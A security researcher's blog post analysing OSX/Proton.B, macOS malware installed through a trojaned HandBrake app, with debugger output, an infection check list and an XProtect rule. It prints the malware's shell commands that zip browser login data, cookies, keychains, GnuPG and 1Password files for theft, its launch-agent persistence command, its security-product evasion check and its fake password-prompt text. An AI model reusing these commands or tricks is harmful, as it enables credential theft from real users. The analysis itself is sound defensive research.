> a brief analysis, at 6 miles up
Aloha it’s Patrick, Chief Security Researcher at Synack. In my free time, I also run a small OS X security website objective-see.com, where I share my personal OS X security tools and blog about OS X security and coding topics. Below is one such post originally published on my site, which discusses one of my tools and more generally once way to monitor processing creation on OS X. Read & enjoy!
As I’m sure you are now aware, a mirror server of the popular open-source video transcoder, HandBrake, was hacked. One goal of the hack was to infect macOS users by trojaning the legitimate HackBrake application with a new variant of OSX/Proton.
I recently blogged about how the app was trojaned and how the malware persistently installed itself: “HandBrake Hacked! OSX/Proton (re)Appears.” However, due to timing constraints (and the fact that it was the weekend) I didn’t really dive into the technical details of the malware that much.
Now though, I’m ‘stuck’ on a flight to Europe (en route to present at ‘PostiveHack Days’ in Moscow) – so have a massive amount of free time. Moreover I received a bunch of email from the HandBrake developers, infected users, and friends requesting more details on the malware.
Most interestingly several users pinged me, stating that while they ran the infected Handbrake application, they didn’t seem to be persistently infected … intriguing!
Want to join me (virtually) at 11294 meters in the sky, as we dive into OSX/Proton.B?
Let’s first start with the infected HandBrake.app that was distributed via a hacked mirror server of the legitimate Handbrake website (handbrake.fr):
As mentioned in the previous blog post, when run by the user the infected Handbrake application kicks off the install of OSX/Proton.B. Specifically it:
- unzips Contents/Resources/HBPlayerHUDMainController.nib to /tmp/HandBrake.app. This ‘nib’ is a password protected zip file who’s password is: qzyuzacCELFEYiJ52mhjEC7HYl4eUPAR1EEf63oQ5iTkuNIhzRk2JUKF4IXTRdiQ
- launches (opens) /tmp/HandBrake.app
How specifically does the malware do this?
When an application is launched, its start() and then main() functions are executed. In applications, the main() function usually just calls the NSApplicationMain method:
NSApplicationMain performs a variety of tasks including loading and initializing the application’s principal class. In order determine this class, it reads the application’s Info.plist file. More specifically it reads the value of the ‘NSPrincipalClass’ key. If we dump the Info.plist file of the trojaned HandBrake application, it’s easy to see its principal class is ‘HBApplication’:
For more info on the macOS application startup process, see the wonderful (albeit slightly dated) article: “Demystifying NSApplication by recreating it.”
So typically, Objective-C objects are created via a call to alloc and then init:
If we peak at HBApplication‘s init method some new (malicious) code has been added:
The DWOI function decodes a passed in string:
While the [HBApplication comrad:] executes a task via “/bin/sh -c”:
If we break on this code in a debugger, we can dump the string that is decoded and executed:
Breakpoint 1: where = HandBrake’-[HBAppDelegate comrad:], address = 0x0000000100029625
(lldb) po $rdi
(lldb) x/s $rsi
(lldb) po $rdx pgrep -x activity_agent && echo Queue.hbqueue
The pgrep -x activity_agent && echo Queue.hbqueue command will echo ‘Queue.hbqueue’ if and only if ‘activity_agent’ is found in the process list. In other words, this is how the malware installer checks if the persistent component (OSX/Proton.B) has already been installed and executed!
Assuming OSX/Proton.B is not found. executing the trojaned HandBrake application then decodes and executes the following command:
As previously mentioned, this will decrypt OSX/Proton.B from HBPlayerHUDMainController.nib and execute it!
Once this malicious logic has been executed, the trojaned HandBrake application continues execution of the normal video transcoding logic so that the user is none the wiser.
To analyze OSX/Proton.B, we can grab the dropped binary (from /tmp/HandBrake.app/Contents/MacOS/HandBrake and load it into a disassembler, as well as instruct the debugger to automatically attach to it when OSX/Proton.B is launched (via the debugger’s ‘–waitfor’ command line argument):
Process 486 stopped
* thread #1, stop reason = signal SIGSTOP
frame #0: libsystem_c.dylib`__atexit_init
-> 0x7fffad3ffe27 <+0>: movq 0x8e5d22a(%rip), %rdi
0x7fffad3ffe2e <+7>: cmpq $-0x1, 0x20(%rdi)
0x7fffad3ffe33 <+12>: jne 0x7fffad3ffe41
0x7fffad3ffe35 <+14>: movq 0x28(%rdi), %rax
Executable module set to “/tmp/HandBrake.app/Contents/MacOS/HandBrake”.
Architecture set to: x86_64h-apple-macosx.
The first thing to notice is that OSX/Proton.B contains some (basic) anti-debugging logic:
This anti-debugging logic is well-known, as it’s even documented in Apple’s man page for ptrace:
ptrace — process tracing and debugging
This request is the other operation used by the traced process; it allows a process that
is not currently being traced to deny future traces by its parent. All other arguments
are ignored. If the process is currently being traced, it will exit with the exit status
of ENOTSUP; otherwise, it sets a flag that denies future traces. An attempt by the parent
to trace a process which has set this flag will result in a segmentation violation in
In short, PT_DENY_ATTACH (0x1F), once executed prevents a user-mode debugger from attaching to the process. However, since lldb is already attached to the process (thanks to the –waitfor argument),we can neatly sidestep this. How? Set a breakpoint on pthread then simply execute a ‘thread return’ command. This tells the debugging to stop executing the code within the function and execute a return command to ‘exit’ to the caller. Neat!
frame #0: 0x00007fffad499d80 libsystem_kernel.dylib`__ptrace
(lldb) thread return
With the anti-debugging logic out of the way, we can debug to our heart’s content!
The first thing OSX/Proton.B does (well after calling ptrace(…, ‘PT_DENY_ATTACH’)), is decode a bunch of strings that turn out to be the addresses of its command and control servers:
Interestingly the string decoding method (at address 000000010001E6F7) appears to be similar (identical?) to the DWOI function in the malware’s installer (the trojaned HandBrake.app). This indicates that the hackers may have had access to the OSX/Proton.B source code. This wouldn’t be that interesting, save for the fact that OSX/Proton.A was offered for sale (see: Hackers Selling Undetectable Proton Malware for macOS in 40 BTC”).
Does this mean the hacker’s purchased OSX/Proton.A (including its source code)? Or are the hackers that hit HandBrake the same ones who created OSX/Proton? Who knows…
Moving on, once the command and control servers have be decoded, the malware decodes a few more strings including: ‘activity_agent’ and ‘fr.handbrake.activity_agent’ As mentioned in the previous blog, OSX/Proton.B persistently installs itself as launch agent (plist: fr.handbrake.activity_agent, name activity_agent):
<?xml version=”1.0″ encoding=”UTF-8″?>
<!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.0//EN” “http://www.apple.com/DTDs/PropertyList-1.0.dtd”>
Next, OSX/Proton.B somewhat ‘stealthily’ builds a path to an encrypted file named ‘.hash’ in its resources directory (/tmp/HandBrake.app/Contents/Resources/.hash).
This file is loaded into memory and then decrypted via a call to [RNDecryptor decryptData:withPassword:error:]. The decryption password is ‘9fe4a0c3b63203f096ef65dc98754243979d6bd58fe835482b969aabaaec57e’:
* thread #1, queue = ‘com.apple.main-thread’, stop reason = instruction step over
-> 0x100017583 <+259>: callq *%r15
0x100017586 <+262>: movq %rax, %rdi
0x100017589 <+265>: callq 0x100049dae
0x10001758e <+270>: movq %rax, %r13
(lldb) po $rdi
(lldb) x/s $rsi
(lldb) po $rcx
And what is in this encrypted file? A massive list of commands and configuration values. Jackpot!
Well this makes analysis rather easy 😉 We’re not going to walk thru all of these, but let’s cover a few of the more interesting items in this this list.
The first items from this list that the malware extracts and utilizes are the following paths:
- /Library/Extensions/Radio Silence.kext
For each of these paths, it checks if they exist on disk, and if so, the malware immediately exits!
These of course are macOS security products (firewalls) which would alert the user to the presence of the malware when it attempts to call out to connect to its command and control server(s). Seems like the malware would simply exit, rather than risking detection.
Ah! Could this be why various users, who had ran the infected Handbrake application were not infected? Why yes! Turns out all had been running Little Snitch. Lucky for them 🙂
Assuming no firewall products are detected the malware performs what appears to some verification on itself. Specifically, it executes “/bin/sh” with the follwing arguments (in $RDX):
echo ‘—–BEGIN PUBLIC KEY—–
—–END PUBLIC KEY—–‘ > /tmp/public.pem; openssl rsautl -verify -in /tmp/HandBrake.app/Contents/Resources/.tmpdata -pubin -inkey /tmp/
(lldb) po $rax
“bundle_name” = chameleo;
“checksum” = 128814f2b057aef1dd3e00f3749aed2a81e5ed03737311f2b1faab4ab2e6e2fe;
“expiration_date” = “2017-05-10 23:59:59 +0000”;
“grace_period” = 25;
“os_version” = “10.x”;
It compares this ‘checksum’ value (128814f2b057aef1dd3e00f3749aed2a81e5ed03737311f2b1faab4ab2e6e2fe) with a value that it extracts from the encrypted .hash file. If these match the, malware continues via a call to NSApplicationMain. Otherwise it exits:
Once the NSApplicationMain method has been invoked, the macOS application runtime will automatically invoke the ‘applicationDidFinishLaunching’ delegate method. In OSX/Proton.B this method is implemented at 0x10001ED50 This is where the malware continues execution.
Here, it starts executing various commands that are embedded in the encrypted .hash file. For example it checks if it is connected to the internet by pinging Google’s DNS server:
It also executes a script, hosted at: https://script.google.com/macros/s/
AKfycbyd5AcbAnWi2Yn0xhFRbyzS4qMq1VucMVgVvhul5XqS9HkAyJY/exec. This script appears to simply return the current date and time?
In order to elevate its privileges to root, the malware displays a fake authentication prompt using strings, again from the encrypted .hash file (such as “HandBrake needs to install additional codecs. Enter your password to allow this”):
The class that implements this window is aptly named ‘AuthorizationWindow’:
If the user is tricked into entering their password, the malware ‘validates’ the credentials via the following:
Once it has obtained root, (thanks to a naive user), the malware executes the following:
As part of this command (killall Terminal) will kill all instances of the Terminal (including the one we are using to debug the malware), execute the ‘thread return’ command in the debugger on the function at 0x0000000100014EB0, to skip these commands from being run.
Next the malware downloads an RSA key from its command and control server(s) and verifies it via a public key that is embedded within the malware:
Then, it starts pinging its various command and control servers:
During my analysis, the malware didn’t appear to be too happy chatting with the various command and control servers. Maybe it doesn’t like being this high up 😛 or more likely these C&C servers are sinkholed this point. As such, I didn’t observe the malware executing the other commands found in the encrypted ‘tasking’ file (‘.hash’). However, since the commands are simply shell commands that we’ve decrypted, it’s easy to understand the malware’s full capabilities.
For example, OSX/Proton.B has commands to:
- ‘complicate’ analysis by killing apps such as the Console, or Wireshark:
- persist itself (as a launch agent):
sed -i -e ‘s/P_MBN/%@/g’ ~/Library/LaunchAgents/%@.plist; sed -i -e ‘s=P_UPTH=%@/%@/Contents/MacOS/%@=g’ ~/Library/LaunchAgents/%@.plist; chmod 644 ~/Library/LaunchAgents/%@.plist;
- collect and exfiltrate sensitive user data such as 1Password files, browser login data, keychains, etc:
zip %@/CR.zip ~/Library/Application\ Support/Google/Chrome/Profile\ 1/Login\ Data ~/Library/Application\ Support/Google/Chrome/Profile\ 1/Cookies
- zip -r %@/KC.zip ~/Library/Keychains/ /Library/Keychains/; %@ %@ %@ %@ zip -r %@/GNU_PW.zip ~/.gnupg ~/Library/Application\ Support/1Password\ 4 ~/Library/Application\ Support/1Password\ 3.9; zip -r %@/proton.zip %@; %@ echo success;
- …and much more!
Well, my flight is about to land! So let’s wrap this all up.
In this post we dug into the technical details of how OSX/Proton.B is installed via a trojaned HandBrake application. We also uncovered the malware’s capabilities, such as its propensity for sensitive user data. Moreover, we answered the question why users with Little Snitch, remained uninfected. Neat!
Again, to check if you’re infected, look for the following:
- a process named ‘activity_agent’, or Handbrake (that’s running out of (/tmp)
- an application name ‘activity_agent.app in ~/Library/RenderFiles/
- a plist file: ‘~/Library/LaunchAgents/fr.handbrake.activity_agent.plist
If you have been infected – it’s best fully reinstall macOS via the ‘macOS Recovery OS’, and change all your passwords.
As mentioned in the last blog post, Apple has also pushed out an XProtect signature, meaning that all new infections should be thwarted:
private rule Macho
description = “private rule to match Mach-O binaries”
uint32(0) == 0xfeedface or uint32(0) == 0xcefaedfe or uint32(0) == 0xfeedfacf
or uint32(0) == 0xcffaedfe or uint32(0) == 0xcafebabe or uint32(0) == 0xbebafeca
description = “OSX.Proton.B”
Macho and filesize < 800000 and hash.sha1(0, filesize) ==
Finally, running a security product such as Little Snitch or BlockBlock is a must!
p.s. shout out to all the guys/gals on #macadmins!